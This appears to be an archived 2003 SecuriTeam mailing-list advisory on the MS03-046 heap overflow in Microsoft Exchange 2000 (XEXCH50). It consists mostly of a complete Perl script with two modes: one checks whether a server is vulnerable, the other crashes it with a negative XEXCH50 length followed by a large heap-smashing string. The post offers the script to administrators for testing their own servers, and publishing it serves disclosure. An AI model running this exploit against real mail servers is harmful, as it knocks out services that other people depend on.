[EXPL] Microsoft Exchange 2000 Heap Overflow (XEXCH50)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/22/03

  • Next message: SecuriTeam: "[TOOL] Memfetch - A Program's Memory Dumping Tool" 
    To: list@securiteam.com
Date: 22 Oct 2003 16:46:18 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Microsoft Exchange 2000 Heap Overflow (XEXCH50)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article
    <http://www.securiteam.com/windowsntfocus/6I00A1P8LC.html> Vulnerability
    in Exchange Server Could Allow Arbitrary Code Execution (MS03-046), a
    vulnerability in the Exchange Server allows remote attackers to cause the
    Exchange Server to execute arbitrary code. The following exploit code can
    be used to test your server for the mentioned vulnerability (It causes a
    denial of service on vulnerable servers).

    DETAILS

    Exploit:
    #!/usr/bin/perl -w
    ##################

    ##
    # ms03-046.pl - hdm[at]metasploit.com
    ##

    use strict;
    use IO::Socket;

    my $host = shift() || usage();
    my $mode = shift() || "CHECK";
    my $port = 25;

    if (uc($mode) eq "CHECK") { check() }
    if (uc($mode) eq "CRASH") { crash() }

    usage();

    sub check
    {
        my $s = SMTP($host, $port);
        if (! $s)
        {
            print "[*] Error establishing connection to SMTP service.\n";
            exit(0);
        }

        print $s "XEXCH50 2 2\r\n";
        my $res = <$s>;
        close ($s);

        # a patched server only allows XEXCH50 after NTLM authentication
        if ($res =~ /authentication/i)
        {
            print "[*] This server has been patched or is not vulnerable.\n";
            exit(0);
        }

        print "[*] This system is vulnerable: $host:$port\n";

        exit(0);
    }

    sub crash
    {
        my $s = SMTP($host, $port);
        if (! $s)
        {
            print "[*] Error establishing connection to SMTP service.\n";
            exit(0);
        }

        # the negative value allows us to overwrite random heap bits
        print $s "XEXCH50 -1 2\r\n";
        my $res = <$s>;

        # a patched server only allows XEXCH50 after NTLM authentication
        if ($res =~ /authentication/i)
        {
            print "[*] This server has been patched or is not vulnerable.\n";
            exit(0);
        }

        print "[*] Sending massive heap-smashing string...\n";
        print $s ("META" x 16384);

        # sometimes a second connection is required to trigger the crash
        $s = SMTP($host, $port);

        exit(0);
    }

    sub usage
    {
        print STDERR "Usage: $0 <host> [CHECK|CRASH]\n";
        exit(0);

    }

    sub SMTP
    {
        my ($host, $port) = @_;
        my $s = IO::Socket::INET->new
        (
            PeerAddr => $host,
            PeerPort => $port,
            Proto => "tcp"
        ) || return(undef);

        my $r = <$s>;
        return undef if !$r;
        
        if ($r !~ /Microsoft/)
        {
            chomp($r);
            print STDERR "[*] This does not look like an exchange server:
    $r\n";
            return(undef);
        }
        
        print $s "HELO X\r\n";
        $r = <$s>;
        return undef if !$r;

        print $s "MAIL FROM: DoS\r\n";
        $r = <$s>;
        return undef if !$r;
        
        print $s "RCPT TO: Administrator\r\n";
        $r = <$s>;
        return undef if !$r;
        
        return($s);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:hdm@secureaustin.com> H D
    Moore.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[TOOL] Memfetch - A Program's Memory Dumping Tool"

    Relevant Pages